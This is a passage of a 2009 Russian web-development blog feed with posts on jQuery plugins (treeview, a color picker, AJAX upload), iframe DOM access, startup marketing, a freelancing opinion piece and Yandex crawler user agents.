<p>Для использования понадобиться  подключить  несколько файлов</p>
<p><strong>&lt;link rel=&#187;stylesheet&#187; href=&#187;/js/plugins/treeview/jquery.treeview.css&#187; type=&#187;text/css&#187; /&gt; </strong></p>
<p><strong> &lt;script type=&#187;text/javascript&#187; src=&#187;/js/plugins/treeview/jquery.treeview.js&#187;&gt;&lt;/script&gt;</strong></p>
<p>и  оформить наше меню в виде</p>
<pre>&lt;ul id="menu" class="filetree"&gt;
         &lt;li&gt;&lt;span class="folder"&gt;Категория1&lt;/span&gt;
	     &lt;ul&gt;
		 &lt;li&gt;&lt;span class="file"&gt;Линк1.1&lt;/span&gt;&lt;/li&gt;
	      &lt;/ul&gt;
	 &lt;/li&gt;
	 &lt;li&gt;&lt;span class="folder"&gt;Категория2&lt;/span&gt;
	      &lt;ul&gt;
		 &lt;li&gt;&lt;span class="folder"&gt;Подкатегория2.1&lt;/span&gt;
	      &lt;ul&gt;
		 &lt;li&gt;&lt;span class="file"&gt;Линк2.1.1&lt;/span&gt;&lt;/li&gt;
		 &lt;li&gt;&lt;span class="file"&gt; Линк2.1.2&lt;/span&gt;&lt;/li&gt;
	       &lt;/ul&gt;
	 &lt;/li&gt;
&lt;/ul&gt;</pre>
<pre>и применить плагин к нашей конструкции</pre>
<pre>
<pre><strong>&lt;script&gt;
  $(document).ready(function(){
    $("#menu").treeview();
  });
  &lt;/script&gt;</strong></pre>
</pre>
<p><strong>Дополнительный функционал.</strong></p>
<p>Добавления дополнительных  веток в меню осуществляется  через  опцию <strong>add: branches</strong></p>
<p>Добавим ниже меню  элемент по клику  на который будет  добавляться новая категория с линками, ID  ему зададим &#171;add&#187; и повесим код</p>
<p><strong>$(&#171;#add&#187;).click(</strong></p>
<p><strong><span> </span>function() {</p>
<p><span> </span>var branches = $(&#171;&lt;li&gt;&lt;span class=&#8217;folder&#8217;&gt;Новая категория&lt;/span&gt;&lt;ul&gt;&#187; +</p>
<p><span> </span>&#171;&lt;li&gt;&lt;span class=&#8217;file&#8217;&gt;новый линк 1&lt;/span&gt;&lt;/li&gt;&#187; +</p>
<p><span> </span>&#171;&lt;li&gt;&lt;span class=&#8217;file&#8217;&gt;новый линк 2&lt;/span&gt;&lt;/li&gt;&#187; +</p>
<p><span> </span>&#171;&lt;/ul&gt;&lt;/li&gt;&#187;).appendTo(&#171;#browser&#187;);</p>
<p><span> </span>$(&#171;#menu&#187;).treeview({ add: branches });</p>
<p><span> </span>}</p>
<p><span> </span>);</p>
<p></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/08/18/jquery-treeview/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>jQuery выбираем цвет</title>
		<link>http://saintist.ru/2009/08/16/jquery-color-picker/</link>
		<comments>http://saintist.ru/2009/08/16/jquery-color-picker/#comments</comments>
		<pubDate>Sun, 16 Aug 2009 18:39:28 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[Ultimate jQuery]]></category>
		<category><![CDATA[Юзабилити]]></category>
		<category><![CDATA[colorpicker]]></category>
		<category><![CDATA[plugin]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=723</guid>
		<description><![CDATA[Довольно часто попадаются задачи, когда в интерфейс страницы нужно включить инструмент выбора цвета. С этой задачей превосходно справляется jQuery plug-in Farbtastic color picker. Что и с чем? 1. Плагин использует HSL пространство цветов, что позволяет легко изменять яркость цвета не меняя его насыщенности. 2. Занимает 23KB, включая изображения и CSS. Лежит здесь jQuery color picker [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/08/jquery_color_picker.png"><img class="size-full wp-image-724 aligncenter" title="jquery_color_picker" src="http://saintist.ru/wp-content/uploads/2009/08/jquery_color_picker.png" alt="jquery_color_picker" width="208" height="360" /></a></p>
<p>Довольно часто попадаются задачи, когда  в интерфейс страницы нужно включить инструмент выбора цвета. С этой задачей превосходно справляется <span id="more-723"></span> jQuery plug-in Farbtastic color picker.</p>
<p><strong>Что и с чем?</strong></p>
<p>1. Плагин использует  HSL пространство цветов,  что позволяет легко изменять яркость цвета не меняя  его насыщенности.</p>
<p>2. Занимает  23KB, включая изображения и CSS.</p>
<p>Лежит здесь <a href="/wp-content/uploads/2009/08/farbtastic12.zip">jQuery color picker</a></p>
<p><strong>Как использовать?</strong></p>
<p>1. Включаем  farbtastic.js и farbtastic.css в наш  HTML:</p>
<p><code>&lt;script type="text/javascript" src="farbtastic.js"&gt;&lt;/script&gt;<br />
&lt;link rel="stylesheet" href="farbtastic.css" type="text/css" /&gt;</code></p>
<p>2. Добавляем два объекта</p>
<p>поле</p>
<p><strong>&lt;input type=&#187;text&#187; id=&#187;color&#187; name=&#187;color&#187; value=&#187;#123456&#8243; /&gt;</strong></p>
<p>куда будет заноситься значение полученное в результате применения, и  контейнер</p>
<p><code><strong>&lt;div id="colorpicker"&gt;&lt;/div&gt;</strong></code></p>
<p>для интерфейса</p>
<p>3. Добавляем обработчик срабатывающий при загрузке страницы</p>
<p><code>&lt;script type="text/javascript"&gt;<br />
  $(document).ready(function() {<br />
    $('#colorpicker').farbtastic('#color');<br />
  });<br />
&lt;/script&gt;</code></p>
<p><strong>Возможности использования.</strong></p>
<p><code><strong>$(...).farbtastic(callback); </strong></code></p>
<p><strong>callback</strong> &#8212;  функция которая быдет вызываться каждый раз  когда  пользователь будет выбирать цвет.</p>
<p><strong>$.farbtastic(placeholder)</strong><br />
<strong> $.farbtastic(placeholder, callback)</strong></p>
<p>Возвращает объект (<strong>который не является jQuery объектом !</strong>)  позволяющий использовать некоторые дополнительные  методы и свойства.</p>
<p><strong>Методы</strong></p>
<p>.linkTo(callback) &#8212;  переопределение нового ответчика.<br />
.setColor(string) . &#8212;  устанавливает colorpicker на параметры  заданного цвета в шестнадцатеричном представлении (например, &#8216;# 123456&#8242;). </p>
<p>.setColor ([H, S, L]) &#8212;   станавливает colorpicker на параметры  заданного цвета в HSL  цветовом пространстве (0 .. 1 шкала). </p>
<p><strong>Свойства</strong></p>
<p>.linked .  &#8212; установка связи с элементом  (jQuery объектом) или заданной функцией . </p>
<p>.color &#8212; установка текущего цвета в шестнадцатеричном представлении (например, &#8216;# 123456&#8242;).</p>
<p>.hsl &#8212;    установка текущего цвета в HSL представлении  (например, [0.3, 0.4, 0.5]). </p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/08/16/jquery-color-picker/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jQuery AJAX загрузка файлов</title>
		<link>http://saintist.ru/2009/08/14/jquery-ajax-upload-file/</link>
		<comments>http://saintist.ru/2009/08/14/jquery-ajax-upload-file/#comments</comments>
		<pubDate>Fri, 14 Aug 2009 10:23:54 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[Ultimate jQuery]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[file]]></category>
		<category><![CDATA[input]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[JSON]]></category>
		<category><![CDATA[Mootools]]></category>
		<category><![CDATA[Prototypejs]]></category>
		<category><![CDATA[upload]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=701</guid>
		<description><![CDATA[Для загрузки файлов предусмотрен тег (&#60;input type=&#187;file&#187; /&#62; , стандартными средствами его внешний вид особо не изменить. В современных web приложениях использующих повсеместно ajax он смотрится анахронизмом, и мое мнение &#8212; морально устарел. Конечно же для загрузки файлов на сайт можно использовать flash, но с этой задачей великолепно может справится и JavaScript. AJAX загрузка позволит [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="/wp-content/uploads/2009/08/jquery.png"><img class="size-medium wp-image-702 aligncenter" title="jquery" src="http://saintist.ru/wp-content/uploads/2009/08/jquery-300x194.png" alt="jquery" width="300" height="194" /></a></p>
<p>Для загрузки  файлов предусмотрен  тег (&lt;input type=&#187;file&#187; /&gt; , стандартными средствами его внешний вид   особо не изменить.</p>
<p><span onmouseover="_tipon(this)" onmouseout="_tipoff()">В современных  web приложениях использующих повсеместно ajax он  смотрится анахронизмом, и мое мнение &#8212; морально устарел. </span></p>
<p>Конечно же для загрузки  файлов на сайт можно использовать flash, но с этой задачей великолепно может справится и JavaScript.<br />
<span id="more-701"></span><br />
AJAX загрузка  позволит легко загрузить несколько файлов без обновления страницы, и использования какие-либо лишних элементов, чтобы показать окно выбора файла. Работает во всех основных браузерах, и, начиная с версии 2.0 не требует какой-либо библиотеки для запуска (хотя использetn некоторые функции jQuer). AJAX Ulpoad не создает лишних  переменных  в глобальном пространстве имен, так что она совместима с jQuery, Prototypejs, Mootools, JavaScript и другими библиотеками.</p>
<p><a title="ajaxupload.3.5.js" href="/wp-content/uploads/2009/08/ajaxupload.3.5.js">Вот тут ajaxupload.3.5.js</a></p>
<p><strong>Как использовать?</strong></p>
<p>1. Нужно  создать кнопку.Можно использовать любой элемент!.</p>
<p><strong>&lt;div id=&#187;upload_button&#187;&gt;Upload&lt;/div&gt; &lt;div id=&#187;upload_button&#187;&gt; Добавить &lt;/ DIV&gt; </strong></p>
<p>В своем простейшем виде, можно  создать его, используя следующий код:</p>
<pre class="code" style="font-size:14px"><span class="kwd"><strong>new</strong></span><span class="pln"><strong> </strong></span><span class="typ"><strong>AjaxUpload</strong></span><span class="pun"><strong>(</strong></span><span class="str"><strong>'upload_button_id'</strong></span><span class="pun"><strong>,</strong></span><span class="pln"><strong> </strong></span><span class="pun"><strong>{</strong></span><span class="pln"><strong>action</strong></span><span class="pun"><strong>:</strong></span><span class="pln"><strong> </strong></span><span class="str"><strong>'upload.php'</strong></span><span class="pun"><strong>});</strong></span></pre>
<pre class="code"><strong>
</strong></pre>
<pre class="code" style="font-size:14px"><strong>
<h3><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="font-weight: normal;">2. Настройка загрузки AJAX</span></span></h3>

</strong></pre>
<pre class="code" style="font-size:14px"><span class="kwd"><strong>new</strong></span><span class="pln"><strong> </strong></span><span class="typ"><strong>AjaxUpload</strong></span><span class="pun"><strong>(</strong></span><span class="str"><strong>'#upload_button_id'</strong></span><span class="pun"><strong>,</strong></span><span class="pln"><strong> </strong></span><span class="pun"><strong>{</strong></span><span class="pln">
  </span><span class="com">// какому скрипту передавать файлы на загрузку? только на свой домен</span><span class="pln">
  action</span><span class="pun">:</span><span class="pln"> </span><span class="str">'upload.php'</span><span class="pun">,</span><span class="pln">
  </span><span class="com">// имя файла</span><span class="pln">
 </span><span class="pln"><strong> name</strong></span><span class="pun"><strong>:</strong></span><span class="pln"><strong> </strong></span><span class="str"><strong>'userfile'</strong></span><span class="pun"><strong>,</strong></span><span class="pln">
  </span><span class="com">// дополнительные данные для передачи</span><span class="pln">
  </span><span class="pln"><strong>data</strong></span><span class="pun"><strong>:</strong></span><span class="pln"><strong> </strong></span><span class="pun"><strong>{</strong></span><span class="pln"><strong>
    example_key1 </strong></span><span class="pun"><strong>:</strong></span><span class="pln"><strong> </strong></span><span class="str"><strong>'example_value'</strong></span><span class="pun"><strong>,</strong></span><span class="pln"><strong>
    example_key2 </strong></span><span class="pun"><strong>:</strong></span><span class="pln"><strong> </strong></span><span class="str"><strong>'example_value2'</strong></span><span class="pln">
  </span><span class="pun"><strong>},</strong></span><span class="pln">
  </span><span class="com">// авто submit</span><span class="pln">
  </span><span class="pln"><strong>autoSubmit</strong></span><span class="pun"><strong>:</strong></span><span class="pln"><strong> </strong></span><span class="kwd"><strong>true</strong></span><span class="pun"><strong>,</strong></span><span class="pln">
  </span><span class="com">// формат в котором данные будет ответ от сервера .</span><span class="pln">
  </span><span class="com">// HTML (text) и XML определяются автоматически .</span><span class="pln">
  </span><span class="com">// Удобно при использовании  JSON , в таком случае устанавливаем параметр как "json" .</span><span class="pln">
  </span><span class="com">// Также установите тип ответа (Content-Type) в text/html, иначе это не будет работать в IE6</span><span class="pln">
 </span><span class="pln"><strong> responseType</strong></span><span class="pun"><strong>:</strong></span><span class="pln"><strong> </strong></span><span class="kwd"><strong>false</strong></span><span class="pun"><strong>,</strong></span><span class="pln">
  </span><span class="com">// отправка файла сразу после выбора</span><span class="pln">
  </span><span class="com">// удобно использовать если  autoSubmit отключен</span><span class="pln">  </span><span class="pln">
  </span><span class="pln"><strong>onChange</strong></span><span class="pun"><strong>:</strong></span><span class="pln"><strong> </strong></span><span class="kwd"><strong>function</strong></span><span class="pun"><strong>(</strong></span><span class="pln"><strong>file</strong></span><span class="pun"><strong>,</strong></span><span class="pln"><strong> extension</strong></span><span class="pun"><strong>){},</strong></span><span class="pln">
  </span><span class="com">// что произойдет при  начале отправки  файла </span><span class="pln">
  </span><span class="pln"><strong>onSubmit</strong></span><span class="pun"><strong>:</strong></span><span class="pln"><strong> </strong></span><span class="kwd"><strong>function</strong></span><span class="pun"><strong>(</strong></span><span class="pln"><strong>file</strong></span><span class="pun"><strong>,</strong></span><span class="pln"><strong> extension</strong></span><span class="pun"><strong>)</strong></span><span class="pln"><strong> </strong></span><span class="pun"><strong>{},</strong></span><span class="pln">
  </span><span class="com">// что выполнить при завершении отправки  файла</span><span class="pln">
  </span><span class="pln"><strong>onComplete</strong></span><span class="pun"><strong>:</strong></span><span class="pln"><strong> </strong></span><span class="kwd"><strong>function</strong></span><span class="pun"><strong>(</strong></span><span class="pln"><strong>file</strong></span><span class="pun"><strong>,</strong></span><span class="pln"><strong> response</strong></span><span class="pun"><strong>)</strong></span><span class="pln"><strong> </strong></span><span class="pun"><strong>{}</strong></span><span class="pln"><strong>
</strong></span><span class="pun"><strong>});</strong></span></pre>
<pre class="code"><strong>
</strong></pre>
<pre class="code" style="font-size:14px">
<h3><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="font-weight: normal;">3. Как разрешить только определенных типов файлов?</span></span></h3>
</pre>
<pre class="code" style="font-size:14px">
<pre class="code prettyprint" style="font-size:14px"><span class="kwd"><strong>new</strong></span><span class="pln"><strong> </strong></span><span class="typ"><strong>AjaxUpload</strong></span><span class="pun"><strong>(</strong></span><span class="str"><strong>'#button2'</strong></span><span class="pun"><strong>,</strong></span><span class="pln"><strong> </strong></span><span class="pun"><strong>{        </strong></span></pre>
<pre class="code prettyprint"><span class="pln"><strong>        action</strong></span><span class="pun"><strong>:</strong></span><span class="pln"><strong> </strong></span><span class="str"><strong>'upload.php'</strong></span><span class="pun"><strong>,</strong></span><span class="pln"><strong>
        onSubmit </strong></span><span class="pun"><strong>:</strong></span><span class="pln"><strong> </strong></span><span class="kwd"><strong>function</strong></span><span class="pun"><strong>(</strong></span><span class="pln"><strong>file </strong></span><span class="pun"><strong>,</strong></span><span class="pln"><strong> ext</strong></span><span class="pun"><strong>){</strong></span></pre>
<pre class="code prettyprint"><span class="pun"><strong></strong></span><span class="pln"><strong>        <span style="font-weight: normal;">// перечисляем какие типы файлов можно загружать</span></strong></span></pre>
<pre class="code prettyprint"><span class="pln"><strong><span style="font-weight: normal;">        //-- также нужно сделать проверку на стороне сервера <img src='http://saintist.ru/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />
</span>                </strong></span><span class="kwd"><strong>if</strong></span><span class="pln"><strong> </strong></span><span class="pun"><strong>(!</strong></span><span class="pln"><strong> </strong></span><span class="pun"><strong>(</strong></span><span class="pln"><strong>ext </strong></span><span class="pun"><strong>&amp;&amp;</strong></span><span class="pln"><strong> </strong></span><span class="str"><strong>/^(jpg|png|jpeg|gif)$/</strong></span><span class="pun"><strong>.</strong></span><span class="pln"><strong>test</strong></span><span class="pun"><strong>(</strong></span><span class="pln"><strong>ext</strong></span><span class="pun"><strong>))){</strong></span><span class="pln"><strong>
                        </strong></span><span class="com">// extension is not allowed</span><span class="pln"><strong>
                        alert</strong></span><span class="pun"><strong>(</strong></span><span class="str"><strong>'Error: invalid file extension'</strong></span><span class="pun"><strong>);</strong></span><span class="pln"><strong>
                        </strong></span><span class="com">// cancel upload</span><span class="pln"><strong>
                        </strong></span><span class="kwd"><strong>return</strong></span><span class="pln"><strong> </strong></span><span class="kwd"><strong>false</strong></span><span class="pun"><strong>;</strong></span><span class="pln"><strong>
                </strong></span><span class="pun"><strong>}</strong></span><span class="pln"><strong>
        </strong></span><span class="pun"><strong>}</strong></span><span class="pln"><strong>
</strong></span><span class="pun"><strong>});</strong></span></pre>
<pre class="code prettyprint"><strong>
</strong></pre>
<pre class="code prettyprint" style="font-size:14px"><strong>
</strong></pre>
</pre>
<p><strong>Как это все работает?</strong></p>
<p>Плагин создает невидимое поле  ввода  , и  IFRAME.  Так что это не совсем AJAX загрузка ).</p>
<p>как видим все довольно тривиально и удобно, единственный минус нет индикатора процесса загрузки</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/08/14/jquery-ajax-upload-file/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>jQuery и  iframe</title>
		<link>http://saintist.ru/2009/08/13/jquery-i-iframe/</link>
		<comments>http://saintist.ru/2009/08/13/jquery-i-iframe/#comments</comments>
		<pubDate>Thu, 13 Aug 2009 18:35:47 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[DOM]]></category>
		<category><![CDATA[iframe]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=694</guid>
		<description><![CDATA[Несколько приемов для работы с iframe. Как обратиться к DOM родителя из iframe $(&#171;#iframeID &#171;, top.document); Как обратиться к DOM iframe из родителя $(&#8216;#iframeID&#8217;).contents().find(&#8216;#IDтого_доступ_к_чему _нужно_получить&#8217;).html();]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">Несколько приемов для работы с iframe.<br />
<a href="http://saintist.ru/wp-content/uploads/2009/08/iframe_jquery.jpg"><img class="size-medium wp-image-695 aligncenter" title="iframe_jquery" src="http://saintist.ru/wp-content/uploads/2009/08/iframe_jquery-300x280.jpg" alt="iframe_jquery" width="300" height="280" /></a><br />
<span id="more-694"></span></p>
<p>Как обратиться к DOM родителя из iframe</p>
<p><strong>$(&#171;#iframeID &#171;, top.document);</strong></p>
<p><strong><br />
</strong></p>
<p>Как обратиться  к DOM iframe из родителя</p>
<p><strong>$</strong><span class="br0"><strong>(</strong></span><span class="st0"><strong>&#8216;#iframeID&#8217;</strong></span><span class="br0"><strong>)</strong></span><strong>.</strong><span class="me1"><strong>contents</strong></span><span class="br0"><strong>(</strong></span><span class="br0"><strong>)</strong></span><strong>.</strong><span class="me1"><strong>find</strong></span><span class="br0"><strong>(</strong></span><span class="st0"><strong>&#8216;#IDтого_доступ_к_чему _нужно_получить&#8217;</strong></span><span class="br0"><strong>)</strong></span><strong>.</strong><span class="me1"><strong>html</strong></span><span class="br0"><strong>(</strong></span><span class="br0"><strong>)</strong></span><span class="sy0"><strong>;</strong></span></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/08/13/jquery-i-iframe/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Что действительно нужно для стартапа ?</title>
		<link>http://saintist.ru/2009/08/12/chto-dejstvitelno-nuzhno-dlya-startapa/</link>
		<comments>http://saintist.ru/2009/08/12/chto-dejstvitelno-nuzhno-dlya-startapa/#comments</comments>
		<pubDate>Wed, 12 Aug 2009 10:14:54 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[notes]]></category>
		<category><![CDATA[ideas]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[startup]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=688</guid>
		<description><![CDATA[Залог хорошей раскрутки стартапа &#8212; продуманная рекламная компания. Маркетинг. Перед началом рекламной кампании предпочтительно иметь сайт с более менее продуманной юзабилити, нормально работающий без критичных багов. Это повышает процент пользователей проекта. Относительно маркетинга. Сотрудничество со схожими по тематике проектами маленькими и большими. Цель как партнерские отношения так и просто реклама друг друга. Пиар в новостях [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/08/startup.jpg"><img class="size-medium wp-image-689 aligncenter" title="startup" src="http://saintist.ru/wp-content/uploads/2009/08/startup-286x300.jpg" alt="startup" width="286" height="300" /></a></p>
<p>Залог  хорошей раскрутки стартапа &#8212; продуманная рекламная компания. Маркетинг.<br />
<span id="more-688"></span><br />
Перед началом рекламной кампании  предпочтительно иметь  сайт с более менее продуманной юзабилити, нормально работающий без критичных багов. Это повышает процент пользователей проекта.</p>
<p>Относительно  маркетинга.</p>
<p>Сотрудничество со  схожими по тематике проектами маленькими и большими. Цель как партнерские отношения так и просто реклама друг друга.</p>
<p>Пиар в новостях и блогах. Журналисты  охотно пишут про интересные начинания.</p>
<p>Расскажите о проекте всем своим знакомым и друзьям, предложите свои услуги. Много кто начинал  имея в качестве основных  и важные клиентов своих друзей и они же  помогали пропиарить проект.</p>
<p>Один из  вариантов   запустить свою партнерскую программу на основе существующих систем. Можно и с нуля написать, но  нежелательно так как наша задача  реклама максимально быстро и доступными средствами (все уже давно знают что такое велосипед  и как им пользоваться).</p>
<p>Участие в тематических конференциях и встречах.</p>
<p>Завести блог  и писать в нем о своем продукте.</p>
<p>Недавно  в посте  <a href="http://saintist.ru/2009/05/26/o-birzhax-frilansa/">о биржах  фриланса</a> озвучил  свои мысли.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/08/12/chto-dejstvitelno-nuzhno-dlya-startapa/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>World Builder от Брюса Брэнита</title>
		<link>http://saintist.ru/2009/08/05/world-builder-ot-bryusa-brenita/</link>
		<comments>http://saintist.ru/2009/08/05/world-builder-ot-bryusa-brenita/#comments</comments>
		<pubDate>Wed, 05 Aug 2009 05:39:51 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[YouTube и нетолько]]></category>
		<category><![CDATA[Builder]]></category>
		<category><![CDATA[World]]></category>
		<category><![CDATA[Реклама]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=683</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><object width="400" height="225"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3365942&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3365942&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="225"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/08/05/world-builder-ot-bryusa-brenita/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Смертельная схватка: фрилансер против офисного планктона?</title>
		<link>http://saintist.ru/2009/08/04/smertelnaya-sxvatka-frilanser-protiv-ofisnogo-planktona/</link>
		<comments>http://saintist.ru/2009/08/04/smertelnaya-sxvatka-frilanser-protiv-ofisnogo-planktona/#comments</comments>
		<pubDate>Tue, 04 Aug 2009 16:38:31 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[notes]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=678</guid>
		<description><![CDATA[Надоели восхваления фриланса. Фриланс будущее вебдизайна и всё такое. Появились кое какие мысли. Человек работающий на зарплату характеризуется отсутствием какой-либо лояльности к работодателю. Такие люди идентифицируют себя с любой группой, но только не с фирмой, где работают. Безразличие к своей работе, пассивность и незаинтересованность в результатах своего труда &#8212; так их часто характеризуют. Для многих [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/08/freelance.jpg"><img class="size-full wp-image-679 aligncenter" title="freelance" src="http://saintist.ru/wp-content/uploads/2009/08/freelance.jpg" alt="freelance" width="300" height="300" /></a></p>
<p>Надоели  восхваления фриланса. Фриланс будущее вебдизайна и всё такое. Появились кое какие мысли.<br />
<span id="more-678"></span></p>
<p><strong>Человек работающий на зарплату</strong> характеризуется отсутствием какой-либо лояльности к работодателю. Такие люди идентифицируют себя с любой группой, но только не с фирмой, где работают. Безразличие к своей работе, пассивность  и незаинтересованность в результатах  своего труда &#8212;  так их  часто характеризуют. Для многих из них это довольно точная характеристика.</p>
<p>Главная проблема наёмного рабочего &#8212; в отсутствии лояльности и крайней редкости в качестве труда. Отличие между наёмным рабочим и тем, который болеет за фирму познаётся в тот момент, когда время 17:05, планктон уже за проходной, а в окне родной фирмы пожар. Мало кто в тот момент вернётся назад. . Гори пропадом и работа и заказы.</p>
<p><strong>Фрилансер</strong>. Хто ж такие эти фрилансеры. С одной стороны это ребята не нашедшие себя в наёмном труде с чётко прописанными трудовыми отношениями с восьми до пяти, с другой неудачники, которых гонят метлой со всех работ. Наиболее распространён фриланс в<br />
интернете. Связано это с удалённостью заказчика, невозможностью оформления трудовых отношений и желании не платить налоги, как с одной так и с другой стороны.</p>
<p>Результат работы фрилансера зачастую ужасен. Обычная халтура . Потраченное время, деньги  и нервы. А нервы нам ненужны ). <a href='http://50rus.info/category/health/medecine_today/'>Статьи о здоровье</a> помогут  оставаться здоровым, красивым и не нервничать попусту.</p>
<p>Результат. Заказчику невыгодно платить всё больше за всё падающий уровень работы, в то же время клиент не собирается связываться в долговременные отношения для краткосрочного заказа.</p>
<p><strong>Выводы.</strong><br />
Выводы делаем сами.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/08/04/smertelnaya-sxvatka-frilanser-protiv-ofisnogo-planktona/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Роботы и боты Яндекса</title>
		<link>http://saintist.ru/2009/07/31/roboty-i-boty-yandeksa/</link>
		<comments>http://saintist.ru/2009/07/31/roboty-i-boty-yandeksa/#comments</comments>
		<pubDate>Fri, 31 Jul 2009 21:02:21 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[Яндекс]]></category>
		<category><![CDATA[compatible]]></category>
		<category><![CDATA[search]]></category>
		<category><![CDATA[YaDirectBot]]></category>
		<category><![CDATA[yandex]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=675</guid>
		<description><![CDATA[Как определить &#8212; заходил Яндекс на мой сайт, и какой именно Яндекс на мой сайт заходил? Yandex/1.01.001 (compatible; Win16; I) — основной индексирующий робот. Yandex/1.01.001 (compatible; Win16; P) — картинки индексирует. Yandex/1.01.001 (compatible; Win16; H) — определяет зеркала сайтов (Вот он ответ на вопрос как склеить зеркала и как определить заход зеркальщика Яндекса). Yandex/1.02.000 (compatible; [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/07/robo-yandex.jpg"><img class="size-full wp-image-676 aligncenter" title="robo-yandex" src="http://saintist.ru/wp-content/uploads/2009/07/robo-yandex.jpg" alt="robo-yandex" width="385" height="235" /></a></p>
<p>Как определить &#8212; заходил Яндекс на мой сайт, и какой именно Яндекс на мой сайт заходил?<br />
<span id="more-675"></span></p>
<p><strong>Yandex/1.01.001 (compatible; Win16; I)</strong> — основной индексирующий робот.</p>
<p><strong>Yandex/1.01.001 (compatible; Win16; P)</strong> —  картинки индексирует.</p>
<p><strong>Yandex/1.01.001 (compatible; Win16; H)</strong> — определяет зеркала сайтов (Вот он ответ на вопрос <strong>как склеить зеркала и как определить заход зеркальщика Яндекса</strong>).</p>
<p><strong>Yandex/1.02.000 (compatible; Win16; F)</strong> —  индексирует favicons сайта. </p>
<p><strong>Yandex/1.03.003 (compatible; Win16; D)</strong> — робот, заходит на страницу если она была добавлена через форму «Добавить URL».</p>
<p><strong>Yandex/1.03.000 (compatible; Win16; M)</strong> — робот, обращающийся при открытии страницы по ссылке «Найденные слова».</p>
<p><strong>YaDirectBot/1.0 (compatible; Win16; I) </strong>— индексирует страницы сайтов, участвующих в Рекламной сети Яндекса.</p>
<p><strong>YandexBlog/0.99.101 (compatible; DOS3.30; Mozilla/5.0; B; robot) </strong>— робот поиска по блогам, индексирующий коментарии постов.</p>
<p>Кроме роботов, у Яндекса есть несколько агентов-«стукачей», определяющих, доступность в данный момент сайта или документа.</p>
<p><strong>Yandex/2.01.000 (compatible; Win16; Dyatel; C)</strong> — «стукач» Яндекс.Каталога. Если сайт недоступен в течение нескольких дней, он снимается с публикации. Как только сайт начинает отвечать, он автоматически появляется в Каталоге.</p>
<p><strong>Yandex/2.01.000 (compatible; Win16; Dyatel; Z) </strong>— «простукивалка» Яндекс.Закладок. Ссылки на недоступные сайты помечаются серым цветом.</p>
<p><strong>Yandex/2.01.000 (compatible; Win16; Dyatel; D)</strong> — «простукивалка» Яндекс.Директа. Проверяет корректность ссылок из объявлений перед модерацией. Никаких автоматических действий не предпринимается.</p>
<p><strong>Yandex/2.01.000 (compatible; Win16; Dyatel; N)</strong> — «простукивалка» Яндекс.Новостей. Она формирует статистические отчеты для контент-менеджера и информирует его о возможных проблемах у партнеров-поставщиков новостей.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/07/31/roboty-i-boty-yandeksa/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>О экзотических комнатных растениях</title>
		<link>http://saintist.ru/2009/07/31/o-ekzoticheskih-komnatnyx-rasteniyax/</link>
